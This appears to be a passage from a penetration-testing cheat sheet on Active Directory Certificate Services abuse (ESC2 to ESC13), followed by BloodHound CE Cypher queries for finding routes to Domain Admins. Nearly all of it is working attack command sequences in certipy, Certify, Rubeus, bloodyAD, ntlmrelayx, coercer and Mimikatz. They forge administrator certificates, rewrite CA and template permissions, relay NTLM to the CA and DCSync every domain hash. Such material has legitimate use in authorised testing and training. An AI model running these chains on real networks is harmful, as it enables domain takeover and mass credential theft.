└─$ # ESC2: template has Any Purpose EKU or no EKU (SubCA)
┌──(kali㉿kali)-[~]
└─$ certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout 2>/dev/null | grep -A5 'ESC2'
 
┌──(kali㉿kali)-[~]
└─$ # Request cert: same as ESC1 if Any Purpose
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD \
-ca '$CA' -template '$TEMPLATE' \
-upn 'administrator@$DOMAIN' -target $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # SubCA (no EKU): request will pend, needs issuing or ManageCA (→ ESC7 path)
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $DC_IP
PS C:\Users\Guest\Desktop> .\Certify.exe find /vulnerable
PS C:\Users\Guest\Desktop> .\Certify.exe request /ca:'$CA_HOST\$CA' /template:'$TEMPLATE' /altname:'administrator'
PS C:\Users\Guest\Desktop> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt

ESC3: Two-template chain: one template has the Certificate Request Agent EKU, another allows enrollment-agent enrollment. Step 1: get an enrollment agent cert. Step 2: use it to enroll on behalf of any user, including Domain Admins.

┌──(kali㉿kali)-[~]
└─$ # ESC3: two-step enrollment agent attack
 
┌──(kali㉿kali)-[~]
└─$ # Step 1: request enrollment agent cert (Certificate Request Agent EKU)
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD \
-ca '$CA' -template '$ENROLL_AGENT_TEMPLATE' -target $DC_IP
┌──(kali㉿kali)-[~]
└─$ # -> agent.pfx
 
┌──(kali㉿kali)-[~]
└─$ # Step 2: enroll on behalf of DA using agent cert
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD \
-ca '$CA' -template 'User' \
-on-behalf-of '$DOMAIN\administrator' -pfx agent.pfx -target $DC_IP
┌──(kali㉿kali)-[~]
└─$ # -> administrator.pfx
 
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $DC_IP
PS C:\Users\Guest\Desktop> # Step 1: get enrollment agent cert
PS C:\Users\Guest\Desktop> .\Certify.exe request /ca:'$CA_HOST\$CA' /template:'$ENROLL_AGENT_TEMPLATE'
PS C:\Users\Guest\Desktop> openssl pkcs12 -in agent.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out agent.pfx -password pass:
 
PS C:\Users\Guest\Desktop> # Step 2: request on behalf of DA
PS C:\Users\Guest\Desktop> .\Certify.exe request /ca:'$CA_HOST\$CA' /template:'User' /onbehalfof:'$DOMAIN\administrator' /enrollcert:agent.pfx /enrollcertpwd:
PS C:\Users\Guest\Desktop> openssl pkcs12 -in administrator.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
 
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt

ESC4: You have write access on the certificate template AD object. Modify the template to add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT and the Client Auth EKU, then follow the ESC1 abuse path. Restore the template afterwards to reduce noise.

┌──(kali㉿kali)-[~]
└─$ # ESC4: write on template object → add SAN flag, then ESC1
 
┌──(kali㉿kali)-[~]
└─$ # Back up current template config
┌──(kali㉿kali)-[~]
└─$ certipy template -u $USER@$DOMAIN -p $PASSWORD \
-template '$TEMPLATE' -save-old -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Enable SAN + Client Auth on the template
┌──(kali㉿kali)-[~]
└─$ certipy template -u $USER@$DOMAIN -p $PASSWORD \
-template '$TEMPLATE' -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Request cert with SAN = DA
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD \
-ca '$CA' -template '$TEMPLATE' \
-upn 'administrator@$DOMAIN' -target $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Restore template
┌──(kali㉿kali)-[~]
└─$ certipy template -u $USER@$DOMAIN -p $PASSWORD \
-template '$TEMPLATE' -configuration old-$TEMPLATE.json -dc-ip $DC_IP
PS C:\Users\Guest\Desktop> # Modify template via ADSI (requires GenericWrite on template)
PS C:\Users\Guest\Desktop> $dc = (Get-ADDomain).DistinguishedName
PS C:\Users\Guest\Desktop> $templ = [ADSI]"LDAP://CN=$TEMPLATE,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$dc"
PS C:\Users\Guest\Desktop> $templ.'msPKI-Certificate-Name-Flag' = 1 # ENROLLEE_SUPPLIES_SUBJECT
PS C:\Users\Guest\Desktop> $templ.'pKIExtendedKeyUsage' = @('1.3.6.1.5.5.7.3.2') # Client Auth
PS C:\Users\Guest\Desktop> $templ.SetInfo()
 
PS C:\Users\Guest\Desktop> # Now request with Certify
PS C:\Users\Guest\Desktop> .\Certify.exe request /ca:'$CA_HOST\$CA' /template:'$TEMPLATE' /altname:'administrator'
PS C:\Users\Guest\Desktop> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt

ESC5: Write control over a CA or PKI object in AD (Enrollment Services container, NTAuthCertificates, etc.). Enable a vulnerable template on the CA or modify CA properties to allow attacker-controlled SAN, then chain to ESC1 or ESC7.

┌──(kali㉿kali)-[~]
└─$ # ESC5: write control over CA or PKI object in AD
┌──(kali㉿kali)-[~]
└─$ # Verify what you have GenericAll/WriteDACL on
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
get object "CN=$CA,CN=Enrollment Services,CN=Public Key Services,CN=Services" -attr nTSecurityDescriptor
 
┌──(kali㉿kali)-[~]
└─$ # Enable SubCA template via CA control
┌──(kali㉿kali)-[~]
└─$ certipy ca -ca '$CA' -enable-template SubCA \
-u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Request SubCA cert (pends - get request ID from output)
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD \
-ca '$CA' -template SubCA \
-upn 'administrator@$DOMAIN' -target $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Issue the pending request using CA object control
┌──(kali㉿kali)-[~]
└─$ certipy ca -ca '$CA' -issue-request $REQ_ID \
-u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Retrieve and authenticate
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -ca '$CA' -retrieve $REQ_ID -target $DC_IP
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $DC_IP
PS C:\Users\Guest\Desktop> # Grant yourself GenericAll on the CA enrollment services object
PS C:\Users\Guest\Desktop> $dc = (Get-ADDomain).DistinguishedName
PS C:\Users\Guest\Desktop> $caObj = [ADSI]"LDAP://CN=$CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,$dc"
PS C:\Users\Guest\Desktop> $sid = (Get-ADUser $USER).SID
PS C:\Users\Guest\Desktop> $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($sid, 'GenericAll', 'Allow')
PS C:\Users\Guest\Desktop> $caObj.ObjectSecurity.AddAccessRule($ace)
PS C:\Users\Guest\Desktop> $caObj.CommitChanges()
 
PS C:\Users\Guest\Desktop> # Then use certutil to enable template
PS C:\Users\Guest\Desktop> certutil -config '$CA_HOST\$CA' -setcaproperty 'PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags' 0x00040000

ESC6: The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set. This flag allows the requester to specify a SAN in any template request, regardless of the template's own CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT setting. Request any enrollable template with -upn administrator@domain.

┌──(kali㉿kali)-[~]
└─$ # ESC6: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag
┌──(kali㉿kali)-[~]
└─$ # Any enrollable template accepts attacker-specified SAN
 
┌──(kali㉿kali)-[~]
└─$ # Confirm flag is set
┌──(kali㉿kali)-[~]
└─$ certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout | grep -i 'ESC6\|EDITF'
 
┌──(kali㉿kali)-[~]
└─$ # Request any user-enrollable template with SAN override
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD \
-ca '$CA' -template 'User' \
-upn 'administrator@$DOMAIN' -target $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $DC_IP
PS C:\Users\Guest\Desktop> .\Certify.exe find /vulnerable
 
PS C:\Users\Guest\Desktop> # Request User template with SAN
PS C:\Users\Guest\Desktop> .\Certify.exe request /ca:'$CA_HOST\$CA' /template:'User' /altname:'administrator'
PS C:\Users\Guest\Desktop> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt

ESC7: You have ManageCA or Manage Certificates rights on the CA. With ManageCA: enable EDITF_ATTRIBUTESUBJECTALTNAME2 or enable the SubCA template. With both rights: request a SubCA cert (denied), then approve and retrieve it yourself. This yields a cert for any UPN without needing a vulnerable template.

┌──(kali㉿kali)-[~]
└─$ # ESC7: ManageCA or Manage Certificates right on the CA
 
┌──(kali㉿kali)-[~]
└─$ # Add yourself as CA officer (requires ManageCA)
┌──(kali㉿kali)-[~]
└─$ certipy ca -ca '$CA' -add-officer $USER \
-u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Enable SubCA template
┌──(kali㉿kali)-[~]
└─$ certipy ca -ca '$CA' -enable-template SubCA \
-u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Request SubCA cert (will fail: note the request ID)
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD \
-ca '$CA' -template SubCA \
-upn 'administrator@$DOMAIN' -target $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Issue the failed request (officer / ManageCertificates right)
┌──(kali㉿kali)-[~]
└─$ certipy ca -ca '$CA' -issue-request $REQ_ID \
-u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Retrieve and authenticate
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD -ca '$CA' -retrieve $REQ_ID -target $DC_IP
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -dc-ip $DC_IP
PS C:\Users\Guest\Desktop> # With ManageCA: enable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA
PS C:\Users\Guest\Desktop> certutil -config '$CA_HOST\$CA' -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
PS C:\Users\Guest\Desktop> net stop certsvc && net start certsvc
 
PS C:\Users\Guest\Desktop> # Now any template request can carry an attacker-controlled SAN (→ ESC6)
PS C:\Users\Guest\Desktop> .\Certify.exe request /ca:'$CA_HOST\$CA' /template:'User' /altname:'administrator'
PS C:\Users\Guest\Desktop> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt

ESC8: NTLM relay to the AD CS HTTP enrollment endpoint (/certsrv/). Coerce a Domain Controller machine account to authenticate to your relay, which forwards the authentication to the CA and obtains a certificate for the DC account. Use that cert to get the DC's TGT and DCSync.

┌──(kali㉿kali)-[~]
└─$ # ESC8: NTLM relay to AD CS HTTP enrollment endpoint
 
┌──(kali㉿kali)-[~]
└─$ # Start relay targeting /certsrv/ HTTP enrollment
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t 'http://$CA_IP/certsrv/mscep/mscep.dll' \
--adcs --template DomainController -smb2support
 
┌──(kali㉿kali)-[~]
└─$ # Coerce DC machine auth (separate terminal)
┌──(kali㉿kali)-[~]
└─$ python3 coercer.py coerce -u $USER -p $PASSWORD -d $DOMAIN \
-l $LHOST -t $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # ntlmrelayx outputs base64 cert: save it
┌──(kali㉿kali)-[~]
└─$ # Authenticate with received cert → TGT + NT hash
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx '$DC_NAME$.pfx' -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # DCSync with NT hash
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -hashes :$NT_HASH $DOMAIN/'$DC_NAME$'@$DC_IP
[*] SMBD-Thread-4: Received connection from 10.10.10.1
[*] Got cert for 'DC01$'
[*] Base64 certificate of user DC01$: MIIRTAIBAzCC...
PS C:\Users\Guest\Desktop> # After obtaining the base64 cert from ntlmrelayx:
PS C:\Users\Guest\Desktop> # Save base64 blob to file and decode
PS C:\Users\Guest\Desktop> [System.Convert]::FromBase64String('$BASE64_CERT') | Set-Content dc.pfx -AsByteStream
 
PS C:\Users\Guest\Desktop> # Request TGT as DC machine account
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:'$DC_NAME$' /certificate:dc.pfx /enctype:aes256 /ptt
 
PS C:\Users\Guest\Desktop> # DCSync
PS C:\Users\Guest\Desktop> .\Mimikatz.exe "lsadump::dcsync /all /csv" exit

ESC9: The target certificate template has CT_FLAG_NO_SECURITY_EXTENSION set and the DC uses weak certificate mapping. Combined with GenericWrite on a user, change the victim's UPN to match a high-privilege account, request a cert as the victim, restore the UPN, then authenticate as the high-privilege account using the cert.

┌──(kali㉿kali)-[~]
└─$ # ESC9: GenericWrite on account, template has no szOID_NTDS_CA_SECURITY_EXT
┌──(kali㉿kali)-[~]
└─$ # and DC uses weak certificate mapping
 
┌──(kali㉿kali)-[~]
└─$ # Change victim's UPN to target DA
┌──(kali㉿kali)-[~]
└─$ certipy account update -u $USER@$DOMAIN -p $PASSWORD \
-user $VICTIM_USER -upn 'administrator@$DOMAIN' -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Request cert as victim (now with DA UPN)
┌──(kali㉿kali)-[~]
└─$ certipy req -u $VICTIM_USER@$DOMAIN -p $VICTIM_PASS \
-ca '$CA' -template '$TEMPLATE' -target $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Restore victim UPN
┌──(kali㉿kali)-[~]
└─$ certipy account update -u $USER@$DOMAIN -p $PASSWORD \
-user $VICTIM_USER -upn $VICTIM_USER@$DOMAIN -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Auth as DA: weak mapping accepts cert despite UPN mismatch
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -domain $DOMAIN -dc-ip $DC_IP
PS C:\Users\Guest\Desktop> # Change victim UPN to DA
PS C:\Users\Guest\Desktop> Import-Module PowerView.ps1
PS C:\Users\Guest\Desktop> Set-DomainObject -Identity $VICTIM_USER -Set @{'userPrincipalName'='administrator@$DOMAIN'}
 
PS C:\Users\Guest\Desktop> # Request cert as victim
PS C:\Users\Guest\Desktop> .\Certify.exe request /ca:'$CA_HOST\$CA' /template:'$TEMPLATE'
 
PS C:\Users\Guest\Desktop> # Restore UPN
PS C:\Users\Guest\Desktop> Set-DomainObject -Identity $VICTIM_USER -Set @{'userPrincipalName'="$VICTIM_USER@$DOMAIN"}
 
PS C:\Users\Guest\Desktop> # Auth
PS C:\Users\Guest\Desktop> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
┌──(kali㉿kali)-[~]
└─$ # GenericWrite on victim: change UPN via bloodyAD
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
set object $VICTIM_USER userPrincipalName -v 'administrator@$DOMAIN'
 
┌──(kali㉿kali)-[~]
└─$ # Request cert as victim (with DA UPN)
┌──(kali㉿kali)-[~]
└─$ certipy req -u $VICTIM_USER@$DOMAIN -p $VICTIM_PASS \
-ca '$CA' -template '$TEMPLATE' -target $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Restore victim UPN
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
set object $VICTIM_USER userPrincipalName -v "$VICTIM_USER@$DOMAIN"
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate as DA
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -domain $DOMAIN -dc-ip $DC_IP

ESC10: The DC has StrongCertificateBindingEnforcement set to 0 or 1 (compatibility mode). ESC10a: modify a user's UPN via GenericWrite, request cert, authenticate as the target UPN. ESC10b: modify a computer's dNSHostName to match a DC FQDN, request a Machine template cert, authenticate as the DC.

┌──(kali㉿kali)-[~]
└─$ # ESC10: DC has StrongCertificateBindingEnforcement disabled or in compatibility mode
 
┌──(kali㉿kali)-[~]
└─$ # ESC10a: GenericWrite on user → change UPN (same as ESC9 but DC-side weakness)
┌──(kali㉿kali)-[~]
└─$ certipy account update -u $USER@$DOMAIN -p $PASSWORD \
-user $VICTIM_USER -upn 'administrator' -dc-ip $DC_IP
┌──(kali㉿kali)-[~]
└─$ certipy req -u $VICTIM_USER@$DOMAIN -p $VICTIM_PASS -ca '$CA' -template 'User' -target $DC_IP
┌──(kali㉿kali)-[~]
└─$ certipy account update -u $USER@$DOMAIN -p $PASSWORD \
-user $VICTIM_USER -upn $VICTIM_USER@$DOMAIN -dc-ip $DC_IP
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -username administrator -domain $DOMAIN -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # ESC10b: GenericWrite on computer → change dNSHostName to DC FQDN
┌──(kali㉿kali)-[~]
└─$ certipy account update -u $USER@$DOMAIN -p $PASSWORD \
-user $VICTIM_COMPUTER -dns $DC_FQDN -dc-ip $DC_IP
┌──(kali㉿kali)-[~]
└─$ certipy req -u "$VICTIM_COMPUTER\$" -p $COMPUTER_PASS \
-ca '$CA' -template 'Machine' -target $DC_IP
┌──(kali㉿kali)-[~]
└─$ certipy account update -u $USER@$DOMAIN -p $PASSWORD \
-user $VICTIM_COMPUTER -dns "$VICTIM_COMPUTER.$DOMAIN" -dc-ip $DC_IP
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx '$DC_NAME.pfx' -dc-ip $DC_IP
PS C:\Users\Guest\Desktop> # ESC10a: change UPN on victim user
PS C:\Users\Guest\Desktop> Set-ADUser $VICTIM_USER -UserPrincipalName 'administrator'
PS C:\Users\Guest\Desktop> .\Certify.exe request /ca:'$CA_HOST\$CA' /template:'User'
PS C:\Users\Guest\Desktop> Set-ADUser $VICTIM_USER -UserPrincipalName "$VICTIM_USER@$DOMAIN"
PS C:\Users\Guest\Desktop> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
 
PS C:\Users\Guest\Desktop> # ESC10b: change dNSHostName on victim computer
PS C:\Users\Guest\Desktop> Set-ADComputer $VICTIM_COMPUTER -DNSHostName $DC_FQDN
PS C:\Users\Guest\Desktop> .\Certify.exe request /ca:'$CA_HOST\$CA' /template:'Machine' /machine
PS C:\Users\Guest\Desktop> Set-ADComputer $VICTIM_COMPUTER -DNSHostName "$VICTIM_COMPUTER.$DOMAIN"
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:'$DC_NAME$' /certificate:dc.pfx /ptt
┌──(kali㉿kali)-[~]
└─$ # ESC10a: GenericWrite on user → change UPN via bloodyAD
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
set object $VICTIM_USER userPrincipalName -v 'administrator'
┌──(kali㉿kali)-[~]
└─$ certipy req -u $VICTIM_USER@$DOMAIN -p $VICTIM_PASS -ca '$CA' -template 'User' -target $DC_IP
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
set object $VICTIM_USER userPrincipalName -v "$VICTIM_USER@$DOMAIN"
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -username administrator -domain $DOMAIN -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # ESC10b: GenericWrite on computer → change dNSHostName via bloodyAD
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
set object "$VICTIM_COMPUTER\$" dNSHostName -v "$DC_FQDN"
┌──(kali㉿kali)-[~]
└─$ certipy req -u "$VICTIM_COMPUTER\$"@$DOMAIN -p $COMPUTER_PASS \
-ca '$CA' -template 'Machine' -target $DC_IP
┌──(kali㉿kali)-[~]
└─$ bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
set object "$VICTIM_COMPUTER\$" dNSHostName -v "$VICTIM_COMPUTER.$DOMAIN"
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx '$DC_NAME.pfx' -dc-ip $DC_IP

ESC11: NTLM relay to the MS-ICPR (RPC-based) enrollment endpoint. The CA has IF_ENFORCEENCRYPTICERTREQUEST not set, allowing unauthenticated relay over RPC. Coerce DC machine authentication, relay to the CA RPC port, receive a certificate for the DC account. Same post-exploitation as ESC8.

┌──(kali㉿kali)-[~]
└─$ # ESC11: relay to MS-ICPR (RPC enrollment): CA lacks IF_ENFORCEENCRYPTICERTREQUEST
┌──(kali㉿kali)-[~]
└─$ # Different from ESC8 which targets HTTP; this targets port 135/RPC dynamic
 
┌──(kali㉿kali)-[~]
└─$ # Start RPC relay (certipy >= 4.8)
┌──(kali㉿kali)-[~]
└─$ certipy relay -ca $CA_IP -template DomainController
 
┌──(kali㉿kali)-[~]
└─$ # Coerce DC machine auth (separate terminal)
┌──(kali㉿kali)-[~]
└─$ python3 coercer.py coerce -u $USER -p $PASSWORD -d $DOMAIN \
-l $LHOST -t $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate with received cert
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx '$DC_NAME$.pfx' -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # DCSync
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -hashes :$NT_HASH $DOMAIN/'$DC_NAME$'@$DC_IP
PS C:\Users\Guest\Desktop> # After obtaining cert via relay:
PS C:\Users\Guest\Desktop> [System.Convert]::FromBase64String('$BASE64_CERT') | Set-Content dc.pfx -AsByteStream
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:'$DC_NAME$' /certificate:dc.pfx /enctype:aes256 /ptt
PS C:\Users\Guest\Desktop> .\Mimikatz.exe "lsadump::dcsync /all /csv" exit

ESC13: A certificate template's IssuancePolicies OID is linked to an AD group. Enrolling in this template and authenticating with the resulting certificate grants effective membership of that group via the Kerberos PAC, without being a formal group member in AD.

┌──(kali㉿kali)-[~]
└─$ # ESC13: template IssuancePolicies OID is linked to an AD group
┌──(kali㉿kali)-[~]
└─$ # Enrolling grants membership in that group via Kerberos PAC
 
┌──(kali㉿kali)-[~]
└─$ # Find ESC13 templates
┌──(kali㉿kali)-[~]
└─$ certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout | grep -A10 'ESC13'
 
┌──(kali㉿kali)-[~]
└─$ # Enroll in the template
┌──(kali㉿kali)-[~]
└─$ certipy req -u $USER@$DOMAIN -p $PASSWORD \
-ca '$CA' -template '$TEMPLATE' -target $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate: OID grants group membership in the TGT PAC
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx cert.pfx -dc-ip $DC_IP
 
┌──(kali㉿kali)-[~]
└─$ # Verify inherited group membership
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=user.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-getADUsers -k -no-pass $DOMAIN/ -dc-ip $DC_IP
PS C:\Users\Guest\Desktop> .\Certify.exe find /vulnerable
 
PS C:\Users\Guest\Desktop> # Enroll in the ESC13 template
PS C:\Users\Guest\Desktop> .\Certify.exe request /ca:'$CA_HOST\$CA' /template:'$TEMPLATE'
PS C:\Users\Guest\Desktop> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx -password pass:
 
PS C:\Users\Guest\Desktop> # TGT will include the OID-linked group in the PAC
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$USER /certificate:cert.pfx /password: /ptt
 
PS C:\Users\Guest\Desktop> # Confirm effective group membership
PS C:\Users\Guest\Desktop> whoami /groups

BloodHound CE: Cypher Queries

Run custom Cypher in BloodHound CE: top menu → Analysis → Custom Queries. Replace CORP.LOCAL with your domain in uppercase.

// Shortest path from all owned nodes to Domain Admins
MATCH p=shortestPath((n {owned:true})-[*1..]->(m:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

// All shortest paths
MATCH p=allShortestPaths((n {owned:true})-[*1..]->(m:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

// Computers where DA users have active sessions
MATCH (c:Computer)<-[:HasSession]-(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}) RETURN c.name, u.name

// All principals with DCSync rights
MATCH p=(n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN n.name, labels(n), d.name

// Kerberoastable users with path to DA
MATCH p=shortestPath((u:User {hasspn:true, enabled:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

// AS-REP roastable users
MATCH (u:User {dontreqpreauth:true, enabled:true}) RETURN u.name
// Computers without LAPS (CE property)
MATCH (c:Computer {haslaps:false}) RETURN c.name, c.operatingsystem

// Unconstrained delegation: non-DC computers
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH "DC" RETURN c.name

// All ADCS ESC paths visible in CE
MATCH p=()-[:ADCSESC1|ADCSESC4|ADCSESC8|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b]->() RETURN p

// All GenericAll edges: who controls what
MATCH p=(n)-[:GenericAll]->(o) RETURN n.name, labels(o), o.name ORDER BY n.name

References